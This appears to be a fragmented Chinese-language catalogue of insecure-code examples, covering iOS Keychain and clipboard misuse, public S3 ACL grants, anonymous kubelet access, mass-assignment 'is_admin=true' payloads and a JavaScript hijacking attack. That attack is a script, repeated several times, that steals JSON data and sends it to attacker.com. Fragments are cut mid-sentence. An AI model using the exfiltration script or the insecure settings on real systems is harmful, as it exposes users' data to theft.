封裝是要劃定清楚的界限。在網頁瀏覽器中，這可能意味著確保您的行動程式碼不會被其他行動程式碼濫用。在伺服器上，這可能意味著區分經過驗證的資料與未經驗證的資料、區分一個使用者的資料與另一個使用者的資料，或區分允許使用者查看的資料與不允許查看的資料。
Realm 資料庫的連線：
Realm realm = Realm.getDefaultInstance();
Realm 資料庫的連線：
RLMRealmConfiguration *config = [RLMRealmConfiguration defaultConfiguration];
RLMRealm *realm = [RLMRealm realmWithConfiguration:config error:nil];
Realm 資料庫的連線：
let realm = try! Realm()
UIImageWriteToSavedPhotosAlbum 將影像儲存到相簿：
- (void) imagePickerController:(UIImagePickerController *)picker didFinishPickingMediaWithInfo:(NSDictionary *)info
{
// Access the uncropped image from info dictionary
UIImage *image = [info objectForKey:UIImagePickerControllerOriginalImage];
// Save image
UIImageWriteToSavedPhotosAlbum(image, self, @selector(image:didFinishSavingWithError:contextInfo:), nil);
...
}
UIImageWriteToSavedPhotosAlbum 將影像儲存到相簿：
func imagePickerController(picker: UIImagePickerController, didFinishPickingMediaWithInfo info: [NSObject : AnyObject]) {
if let pickedImage = info[UIImagePickerControllerOriginalImage] as? UIImage {
imageView.contentMode = .ScaleAspectFit
imageView.image = pickedImage
}
// Save image
UIImageWriteToSavedPhotosAlbum(pickedImage!, self, nil, nil)
dismissViewControllerAnimated(true, completion: nil)
}
kSecAttrAccessibleAfterFirstUnlockThisDeviceOnly:kSecAttrAccessibleAlways:kSecAttrAccessibleWhenPasscodeSetThisDeviceOnly:kSecAttrAccessibleAlwaysThisDeviceOnly:kSecAttrAccessibleWhenUnlocked:kSecAttrAccessibleWhenUnlockedThisDeviceOnly:kSecAttrAccessibleWhenUnlocked) 進行儲存，如果您的裝置失竊且已設定密碼，竊賊必須先解除鎖定裝置，才能解密金鑰鏈項目。無法輸入正確的密碼將阻止竊賊解密金鑰鏈項目。但是，如果未設定密碼，攻擊者只需滑動手指解除鎖定裝置並讓金鑰鏈解密其項目即可。因此，未在裝置中強制使用密碼可能會削弱金鑰鏈加密機制。
...
NSMutableDictionary *dict = [NSMutableDictionary dictionary];
NSData *token = [@"secret" dataUsingEncoding:NSUTF8StringEncoding];
// Configure KeyChain Item
[dict setObject:(__bridge id)kSecClassGenericPassword forKey:(__bridge id) kSecClass];
[dict setObject:token forKey:(__bridge id)kSecValueData];
...
[dict setObject:(__bridge id)kSecAttrAccessibleWhenUnlockedThisDeviceOnly forKey:(__bridge id) kSecAttrAccessible];
OSStatus error = SecItemAdd((__bridge CFDictionaryRef)dict, NULL);
...
kSecAttrAccessibleAfterFirstUnlockThisDeviceOnly:kSecAttrAccessibleAlways:kSecAttrAccessibleWhenPasscodeSetThisDeviceOnly:kSecAttrAccessibleAlwaysThisDeviceOnly:kSecAttrAccessibleWhenUnlocked:kSecAttrAccessibleWhenUnlockedThisDeviceOnly:kSecAttrAccessibleWhenUnlocked) 進行儲存，如果您的裝置失竊且已設定密碼，竊賊必須先解除鎖定裝置，才能解密金鑰鏈項目。無法輸入正確的密碼將阻止竊賊解密金鑰鏈項目。但是，如果未設定密碼，攻擊者只需滑動手指解除鎖定裝置並讓金鑰鏈解密其項目即可。因此，未在裝置中強制使用密碼可能會削弱金鑰鏈加密機制。
...
// Configure KeyChain Item
let token = "secret"
var query = [String : AnyObject]()
query[kSecClass as String] = kSecClassGenericPassword
query[kSecValueData as String] = token as AnyObject?
...
query[kSecAttrAccessible as String] = kSecAttrAccessibleWhenUnlockedThisDeviceOnly
SecItemAdd(query as CFDictionary, nil)
...
setPersistent:YES 將其設定為持續性。
...
UIPasteboard *pasteboard = [UIPasteboard pasteboardWithName:@"myPasteboard" create:YES];
[pasteboard setPersistent:YES];
...
setPersistent(true) 將其設定為持續性。
...
let pasteboard = UIPasteboard(name: UIPasteboard.Name(rawValue: "myPasteboard"), create: true)!
pasteboard.setPersistent(true)
...
Access Control Policy，從而授予對 foo 儲存貯體的完全匿名存取權。
GetBucketAclRequest bucketAclReq = GetBucketAclRequest.builder().bucket("foo").build();
GetBucketAclResponse getAclRes = s3.getBucketAcl(bucketAclReq);
List<Grant> grants = getAclRes.grants();
Grantee allusers = Grantee.builder().uri("http://acs.amazonaws.com/groups/global/AllUsers").build();
Permission fc_permission = Permission.fromValue("FullControl");
Grant grant = Grant.builder().grantee(allusers).permission(fc_permission).build();
grants.add(grant);
AccessControlPolicy acl = AccessControlPolicy.builder().grants(grants).build();
Access Control Policy，從而授予對 foo 儲存貯體的匿名讀取 ACP 存取權。
GetBucketAclRequest bucketAclReq = GetBucketAclRequest.builder().bucket("foo").build();
GetBucketAclResponse getAclRes = s3.getBucketAcl(bucketAclReq);
List<Grant> grants = getAclRes.grants();
Grantee allusers = Grantee.builder().uri("http://acs.amazonaws.com/groups/global/AllUsers").build();
Permission fc_permission = Permission.fromValue("READ_ACP");
Grant grant = Grant.builder().grantee(allusers).permission(fc_permission).build();
grants.add(grant);
AccessControlPolicy acl = AccessControlPolicy.builder().grants(grants).build();
Access Control Policy，從而授予對 foo 儲存貯體的匿名讀取存取權。
GetBucketAclRequest bucketAclReq = GetBucketAclRequest.builder().bucket("foo").build();
GetBucketAclResponse getAclRes = s3.getBucketAcl(bucketAclReq);
List<Grant> grants = getAclRes.grants();
Grantee allusers = Grantee.builder().uri("http://acs.amazonaws.com/groups/global/AllUsers").build();
Permission fc_permission = Permission.fromValue("Read");
Grant grant = Grant.builder().grantee(allusers).permission(fc_permission).build();
grants.add(grant);
AccessControlPolicy acl = AccessControlPolicy.builder().grants(grants).build();
Access Control Policy，從而授予對 foo 儲存貯體的匿名寫入 ACP 存取權。
GetBucketAclRequest bucketAclReq = GetBucketAclRequest.builder().bucket("foo").build();
GetBucketAclResponse getAclRes = s3.getBucketAcl(bucketAclReq);
List<Grant> grants = getAclRes.grants();
Grantee allusers = Grantee.builder().uri("http://acs.amazonaws.com/groups/global/AllUsers").build();
Permission fc_permission = Permission.fromValue("WRITE_ACP");
Grant grant = Grant.builder().grantee(allusers).permission(fc_permission).build();
grants.add(grant);
AccessControlPolicy acl = AccessControlPolicy.builder().grants(grants).build();
Access Control Policy，從而授予對 foo 儲存貯體的匿名寫入存取權。
GetBucketAclRequest bucketAclReq = GetBucketAclRequest.builder().bucket("foo").build();
GetBucketAclResponse getAclRes = s3.getBucketAcl(bucketAclReq);
List<Grant> grants = getAclRes.grants();
Grantee allusers = Grantee.builder().uri("http://acs.amazonaws.com/groups/global/AllUsers").build();
Permission fc_permission = Permission.fromValue("Write");
Grant grant = Grant.builder().grantee(allusers).permission(fc_permission).build();
grants.add(grant);
AccessControlPolicy acl = AccessControlPolicy.builder().grants(grants).build();
items 屬性的一般剪貼板，依預設，會透過「通用剪貼板」在使用者裝置之間共用剪貼板內容。範例 2：在以下程式碼中，資料透過呼叫
...
UIPasteboard *pasteboard = [UIPasteboard generalPasteboard];
NSDictionary *items = @{
UTTypePlainText : sensitiveDataString,
UTTypePNG : [UIImage imageWithData:medicalImageData]
};
[pasteboard setItems: @[items]];
...
setObjects:localOnly:expirationDate: 方法而寫入一般剪貼板，其中透過將 localOnly 參數設定為 NO 明確啟用了「通用剪貼板」行為。
...
UIPasteboard *pasteboard = [UIPasteboard generalPasteboard];
[pasteboard setObjects:@[sensitiveDataString, [UIImage imageWithData:medicalImageData]]
localOnly:NO
expirationDate:[NSDate distantFuture]];
...
setItems(_:options:) 方法透過「通用剪貼板」在使用者裝置之間共用剪貼板內容。範例 2：在以下程式碼中，資料透過使用
...
let pasteboard = UIPasteboard.general
let items: [[String: Any]] = [
["text": sensitiveDataString],
["image": UIImage(data: medicalImageData)!]
]
pasteboard.setItems(items)
...
setObjects(_:localOnly:expirationDate:) 方法而寫入一般剪貼板，其中透過將 localOnly 參數設定為 false 明確啟用了「通用剪貼板」行為。
...
let pasteboard = UIPasteboard.general
let items: [Any] = [
sensitiveDataString,
UIImage(data: medicalImageData)!
]
pasteboard.setObjects([items], localOnly: false, expirationDate: Date.distantFuture)
...
kSecAttrAccessibleAfterFirstUnlockThisDeviceOnly:kSecAttrAccessibleAlways:kSecAttrAccessibleWhenPasscodeSetThisDeviceOnly:kSecAttrAccessibleAlwaysThisDeviceOnly:kSecAttrAccessibleWhenUnlocked:kSecAttrAccessibleWhenUnlockedThisDeviceOnly:kSecAttrAccessibleAlways，這產生了一個安全性問題，因為可存取或竊取您裝置的人將能夠讀取金鑰鏈的內容。目前，預設屬性為 kSecAttrAccessibleWhenUnlocked，這是一個具有一定限制性的預設值。不過，Apple 公開說明文件對於應設定的預設屬性有異議，因此您應在所有金鑰鏈項目上明確設定此屬性以策万全。
...
NSMutableDictionary *dict = [NSMutableDictionary dictionary];
NSData *token = [@"secret" dataUsingEncoding:NSUTF8StringEncoding];
// Configure Keychain Item
[dict setObject:(__bridge id)kSecClassGenericPassword forKey:(__bridge id) kSecClass];
[dict setObject:token forKey:(__bridge id)kSecValueData];
...
OSStatus error = SecItemAdd((__bridge CFDictionaryRef)dict, NULL);
...
kSecAttrAccessibleAfterFirstUnlockThisDeviceOnly:kSecAttrAccessibleAlways:kSecAttrAccessibleWhenPasscodeSetThisDeviceOnly:kSecAttrAccessibleAlwaysThisDeviceOnly:kSecAttrAccessibleWhenUnlocked:kSecAttrAccessibleWhenUnlockedThisDeviceOnly:kSecAttrAccessibleAlways，這產生了一個安全性問題，因為可存取或竊取您裝置的人將能夠讀取金鑰鏈的內容。目前，預設屬性為 kSecAttrAccessibleWhenUnlocked，這是一個具有一定限制性的預設值。不過，Apple 公開說明文件對於應設定的預設屬性有異議，因此您應在所有金鑰鏈項目上明確設定此屬性以策万全。
...
// Configure Keychain Item
let token = "secret"
var query = [String : AnyObject]()
query[kSecClass as String] = kSecClassGenericPassword
query[kSecValueData as String] = token as AnyObject?
SecItemAdd(query as CFDictionary, nil)
...
main() 方法。雖然這在軟體產品的開發過程中是完全可接受的，但是屬於 J2EE 應用程式那部分的類別不應該定義 main()。
var object;
var req = new XMLHttpRequest();
req.open("GET", "/object.json",true);
req.onreadystatechange = function () {
if (req.readyState == 4) {
var txt = req.responseText;
object = eval("(" + txt + ")");
req = null;
}
};
req.send(null);
GET /object.json HTTP/1.1
...
Host: www.example.com
Cookie: JSESSIONID=F2rN6HopNzsfXFjHX1c5Ozxi0J5SQZTr4a5YJaSbAiTnRR
HTTP/1.1 200 OK
Cache-control: private
Content-Type: text/javascript; charset=utf-8
...
[{"fname":"Brian", "lname":"Chess", "phone":"6502135600",
"purchases":60000.00, "email":"brian@example.com" },
{"fname":"Katrina", "lname":"O'Neil", "phone":"6502135600",
"purchases":120000.00, "email":"katrina@example.com" },
{"fname":"Jacob", "lname":"West", "phone":"6502135600",
"purchases":45000.00, "email":"jacob@example.com" }]
<script>
// override the constructor used to create all objects so
// that whenever the "email" field is set, the method
// captureObject() will run. Since "email" is the final field,
// this will allow us to steal the whole object.
function Object() {
this.email setter = captureObject;
}
// Send the captured object back to the attacker's Web site
function captureObject(x) {
var objString = "";
for (fld in this) {
objString += fld + ": " + this[fld] + ", ";
}
objString += "email: " + x;
var req = new XMLHttpRequest();
req.open("GET", "http://attacker.com?obj=" +
escape(objString),true);
req.send(null);
}
</script>
<!-- Use a script tag to bring in victim's data -->
<script src="http://www.example.com/object.json"></script>
var object;
var req = new XMLHttpRequest();
req.open("GET", "/object.json",true);
req.onreadystatechange = function () {
if (req.readyState == 4) {
var txt = req.responseText;
object = eval("(" + txt + ")");
req = null;
}
};
req.send(null);
GET /object.json HTTP/1.1
...
Host: www.example.com
Cookie: JSESSIONID=F2rN6HopNzsfXFjHX1c5Ozxi0J5SQZTr4a5YJaSbAiTnRR
HTTP/1.1 200 OK
Cache-control: private
Content-Type: text/JavaScript; charset=utf-8
...
[{"fname":"Brian", "lname":"Chess", "phone":"6502135600",
"purchases":60000.00, "email":"brian@example.com" },
{"fname":"Katrina", "lname":"O'Neil", "phone":"6502135600",
"purchases":120000.00, "email":"katrina@example.com" },
{"fname":"Jacob", "lname":"West", "phone":"6502135600",
"purchases":45000.00, "email":"jacob@example.com" }]
<script>
// override the constructor used to create all objects so
// that whenever the "email" field is set, the method
// captureObject() will run. Since "email" is the final field,
// this will allow us to steal the whole object.
function Object() {
this.email setter = captureObject;
}
// Send the captured object back to the attacker's web site
function captureObject(x) {
var objString = "";
for (fld in this) {
objString += fld + ": " + this[fld] + ", ";
}
objString += "email: " + x;
var req = new XMLHttpRequest();
req.open("GET", "http://attacker.com?obj=" +
escape(objString),true);
req.send(null);
}
</script>
<!-- Use a script tag to bring in victim's data -->
<script src="http://www.example.com/object.json"></script>
var object;
var req = new XMLHttpRequest();
req.open("GET", "/object.json",true);
req.onreadystatechange = function () {
if (req.readyState == 4) {
var txt = req.responseText;
object = eval("(" + txt + ")");
req = null;
}
};
req.send(null);
GET /object.json HTTP/1.1
...
Host: www.example.com
Cookie: JSESSIONID=F2rN6HopNzsfXFjHX1c5Ozxi0J5SQZTr4a5YJaSbAiTnRR
HTTP/1.1 200 OK
Cache-control: private
Content-Type: text/JavaScript; charset=utf-8
...
[{"fname":"Brian", "lname":"Chess", "phone":"6502135600",
"purchases":60000.00, "email":"brian@example.com" },
{"fname":"Katrina", "lname":"O'Neil", "phone":"6502135600",
"purchases":120000.00, "email":"katrina@example.com" },
{"fname":"Jacob", "lname":"West", "phone":"6502135600",
"purchases":45000.00, "email":"jacob@example.com" }]
<script>
// override the constructor used to create all objects so
// that whenever the "email" field is set, the method
// captureObject() will run. Since "email" is the final field,
// this will allow us to steal the whole object.
function Object() {
this.email setter = captureObject;
}
// Send the captured object back to the attacker's web site
function captureObject(x) {
var objString = "";
for (fld in this) {
objString += fld + ": " + this[fld] + ", ";
}
objString += "email: " + x;
var req = new XMLHttpRequest();
req.open("GET", "http://attacker.com?obj=" +
escape(objString),true);
req.send(null);
}
</script>
<!-- Use a script tag to bring in victim's data -->
<script src="http://www.example.com/object.json"></script>
from django.http.response import JsonResponse
...
def handle_upload(request):
response = JsonResponse(sensitive_data, safe=False) # Sensitive data is stored in a list
return response
<script> 標籤評估的有效 JavaScript 的回應，因此容易受到 JavaScript 劫持的攻擊 [1]。預設情況下，此框架使用 POST 方法傳遞要求，這使得從惡意的 <script> 標籤產生要求變得困難 (因為 <script> 標籤只會產生 GET 要求)。儘管如此，Microsoft AJAX.NET 確實提供了使用 GET 要求的機制。事實上，許多專家鼓勵程式設計師使用 GET 要求，以執行瀏覽器快取以及增進效能。
var object;
var req = new XMLHttpRequest();
req.open("GET", "/object.json",true);
req.onreadystatechange = function () {
if (req.readyState == 4) {
var txt = req.responseText;
object = eval("(" + txt + ")");
req = null;
}
};
req.send(null);
GET /object.json HTTP/1.1
...
Host: www.example.com
Cookie: JSESSIONID=F2rN6HopNzsfXFjHX1c5Ozxi0J5SQZTr4a5YJaSbAiTnRR
HTTP/1.1 200 OK
Cache-control: private
Content-Type: text/javascript; charset=utf-8
...
[{"fname":"Brian", "lname":"Chess", "phone":"6502135600",
"purchases":60000.00, "email":"brian@example.com" },
{"fname":"Katrina", "lname":"O'Neil", "phone":"6502135600",
"purchases":120000.00, "email":"katrina@example.com" },
{"fname":"Jacob", "lname":"West", "phone":"6502135600",
"purchases":45000.00, "email":"jacob@example.com" }]
<script>
// override the constructor used to create all objects so
// that whenever the "email" field is set, the method
// captureObject() will run. Since "email" is the final field,
// this will allow us to steal the whole object.
function Object() {
this.email setter = captureObject;
}
// Send the captured object back to the attacker's Web site
function captureObject(x) {
var objString = "";
for (fld in this) {
objString += fld + ": " + this[fld] + ", ";
}
objString += "email: " + x;
var req = new XMLHttpRequest();
req.open("GET", "http://attacker.com?obj=" +
escape(objString),true);
req.send(null);
}
</script>
<!-- Use a script tag to bring in victim's data -->
<script src="http://www.example.com/object.json"></script>
<script> 標籤評估的有效 JavaScript 的回應，因此容易受到 JavaScript 劫持的攻擊 [1]。預設情況下，此框架使用 POST 方法傳遞要求，這使得從惡意的 <script> 標籤產生要求變得困難 (因為 <script> 標籤只會產生 GET 要求)。儘管如此，GWT 確實提供了使用 GET 要求的機制。事實上，許多專家鼓勵程式設計師使用 GET 要求，以執行瀏覽器快取以及增進效能。
var object;
var req = new XMLHttpRequest();
req.open("GET", "/object.json",true);
req.onreadystatechange = function () {
if (req.readyState == 4) {
var txt = req.responseText;
object = eval("(" + txt + ")");
req = null;
}
};
req.send(null);
GET /object.json HTTP/1.1
...
Host: www.example.com
Cookie: JSESSIONID=F2rN6HopNzsfXFjHX1c5Ozxi0J5SQZTr4a5YJaSbAiTnRR
HTTP/1.1 200 OK
Cache-control: private
Content-Type: text/javascript; charset=utf-8
...
[{"fname":"Brian", "lname":"Chess", "phone":"6502135600",
"purchases":60000.00, "email":"brian@example.com" },
{"fname":"Katrina", "lname":"O'Neil", "phone":"6502135600",
"purchases":120000.00, "email":"katrina@example.com" },
{"fname":"Jacob", "lname":"West", "phone":"6502135600",
"purchases":45000.00, "email":"jacob@example.com" }]
<script>
// override the constructor used to create all objects so
// that whenever the "email" field is set, the method
// captureObject() will run. Since "email" is the final field,
// this will allow us to steal the whole object.
function Object() {
this.email setter = captureObject;
}
// Send the captured object back to the attacker's Web site
function captureObject(x) {
var objString = "";
for (fld in this) {
objString += fld + ": " + this[fld] + ", ";
}
objString += "email: " + x;
var req = new XMLHttpRequest();
req.open("GET", "http://attacker.com?obj=" +
escape(objString),true);
req.send(null);
}
</script>
<!-- Use a script tag to bring in victim's data -->
<script src="http://www.example.com/object.json"></script>
var object;
var req = new XMLHttpRequest();
req.open("GET", "/object.json",true);
req.onreadystatechange = function () {
if (req.readyState == 4) {
var txt = req.responseText;
object = eval("(" + txt + ")");
req = null;
}
};
req.send(null);
GET /object.json HTTP/1.1
...
Host: www.example.com
Cookie: JSESSIONID=F2rN6HopNzsfXFjHX1c5Ozxi0J5SQZTr4a5YJaSbAiTnRR
HTTP/1.1 200 OK
Cache-control: private
Content-Type: text/JavaScript; charset=utf-8
...
[{"fname":"Brian", "lname":"Chess", "phone":"6502135600",
"purchases":60000.00, "email":"brian@example.com" },
{"fname":"Katrina", "lname":"O'Neil", "phone":"6502135600",
"purchases":120000.00, "email":"katrina@example.com" },
{"fname":"Jacob", "lname":"West", "phone":"6502135600",
"purchases":45000.00, "email":"jacob@example.com" }]
<script>
// override the constructor used to create all objects so
// that whenever the "email" field is set, the method
// captureObject() will run. Since "email" is the final field,
// this will allow us to steal the whole object.
function Object() {
this.email setter = captureObject;
}
// Send the captured object back to the attacker's web site
function captureObject(x) {
var objString = "";
for (fld in this) {
objString += fld + ": " + this[fld] + ", ";
}
objString += "email: " + x;
var req = new XMLHttpRequest();
req.open("GET", "http://attacker.com?obj=" +
escape(objString),true);
req.send(null);
}
</script>
<!-- Use a script tag to bring in victim's data -->
<script src="http://www.example.com/object.json"></script>
default 命名空間。使用非預設命名空間的其他命名空間可以降低錯誤或惡意活動的影響。default。
...
kind: ...
metadata:
...
namespace: default
spec:
...
anonymous 欄位設定為 enabled:true。
...
kind: KubeletConfiguration
...
authentication:
anonymous:
enabled: true
...
Register) 會從網頁表單存取，此表單會要求使用者提供名稱及密碼來註冊帳戶：
public ActionResult Register(RegisterModel model)
{
if (ModelState.IsValid)
{
try
{
return RedirectToAction("Index", "Home");
}
catch (MembershipCreateUserException e)
{
ModelState.AddModelError("", "");
}
}
return View(model);
}
RegisterModel 類別定義為：
public class RegisterModel
{
[BindRequired]
[Display(Name = "User name")]
public string UserName { get; set; }
[BindRequired]
[DataType(DataType.Password)]
[Display(Name = "Password")]
public string Password { get; set; }
[DataType(DataType.Password)]
[Display(Name = "Confirm password")]
public string ConfirmPassword { get; set; }
public Details Details { get; set; }
public RegisterModel()
{
Details = new Details();
}
}
Details 類別定義為：
public class Details
{
public bool IsAdmin { get; set; }
...
}
Example 1 中的情況，攻擊者可能會探索應用程式並發現 RegisterModel 模型中有一個 Details 屬性。若是如此，攻擊者接著可能會嘗試覆寫指派給其屬性的目前值。
name=John&password=****&details.is_admin=true
<struts-config>
<form-beans>
<form-bean name="dynaUserForm"
type="org.apache.struts.action.DynaActionForm" >
<form-property name="type" type="java.lang.String" />
<form-property name="user" type="com.acme.common.User" />
</form-bean>
...
User 類別定義為：
public class User {
private String name;
private String lastname;
private int age;
private Details details;
// Public Getters and Setters
...
}
Details 類別定義為：
public class Details {
private boolean is_admin;
private int id;
private Date login_date;
// Public Getters and Setters
...
}
Example 1 中的情況，攻擊者可能會探索應用程式並發現 User 模型中有一個 details 屬性。若是如此，攻擊者接著可能會嘗試覆寫指派給其屬性的目前值。
type=free&user.name=John&user.lastname=Smith&age=22&details.is_admin=true
private final Logger logger =
Logger.getLogger(MyClass.class);